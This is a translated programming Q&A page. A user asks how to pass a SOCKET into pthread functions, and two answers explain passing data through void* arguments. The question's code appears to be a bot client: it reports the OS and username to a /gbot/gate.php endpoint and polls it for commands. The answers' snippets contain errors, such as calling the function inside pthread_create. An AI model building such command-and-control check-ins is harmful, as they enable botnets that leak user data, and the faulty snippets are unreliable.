0
    void* sendFirstReq(SOCKET Socket){
        char buffer[10000];
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
}

void* sendSecReq(SOCKET Socket){
    char buffer[10000];
    string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
    send(Socket, mybuf.c_str(), mybuf.length(), 0);
    recv(Socket, buffer, 10000, 0);
    cout << buffer;
}

while(true)
    {
        pthread_t t1;
        pthread_t t2;
        pthread_create(&t1, NULL, &sendFirstReq, NULL);
        pthread_create(&t1, NULL, &sendSecReq, NULL);
        _sleep(5000);
    }

这是我项目中的一段代码。我想做多线程,但我得到一堆错误。首先,void* 函数必须得到一个 void* arg,所以我可以发送 SOCKET 吗?另一个错误是:

初始化 `int pthread_create(pthread_t*, pthread_attr_t_* const*, void*( )(void ), void*)' 的参数 3

我不知道如何解决它,谢谢你的帮助。

4

2 回答 2

1

如果将套接字部分和多线程部分分开会有所帮助,这样您就可以分别处理它们。多线程的问题是您必须使用一个函数来为 POSIX 线程获取并返回一个 void 指针。有两种方法可以通过它传递其他东西。第一种方法是分配一个结构并将指向它的指针传递给 pthread_create:

void* thread_function(void* p)
{
    mydata* ps = static_cast<mydata*>(p);
    ...
}

mydata s = ...;
pthread_create(..., thread_function, &s);

这里要注意的是它s有一个范围,并且你必须确保它在线程使用它时保持活动状态。这可能需要使用 new 进行动态分配,这反过来又需要小心,以免导致内存泄漏。另一种适用于小整数的方法是将它们直接作为指针传递:

void* thread_function(void* p)
{
    int x = reinterpret_cast<int>(p);
    ...
}

int x = ...;
assert(sizeof x <= sizeof (void*));
pthread_create(..., thread_function, reinterpret_cast<void*>(x));

由于 SOCKET 只是一个不大于指针的整数,因此您应该能够做到这一点,这可能是最简单的工作方式。

于 2013-04-10T19:18:07.480 回答
1

当你实现多线程时,请确保在不同的套接字上发送和接收!也就是说,传递 void* 参数的最佳方式是结构,但我相信您可以在 void* 中发送不同的数据类型,只需确保对其进行切片

例子:

void* sendFirstReq(void* arg);
SOCKET socket;
pthread_t a;
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);

在 sendFirstReq() 中,对参数 (SOCKET*)arg 进行切片;

看到这个 ::将参数传递给 pthread

于 2013-04-10T17:36:10.087 回答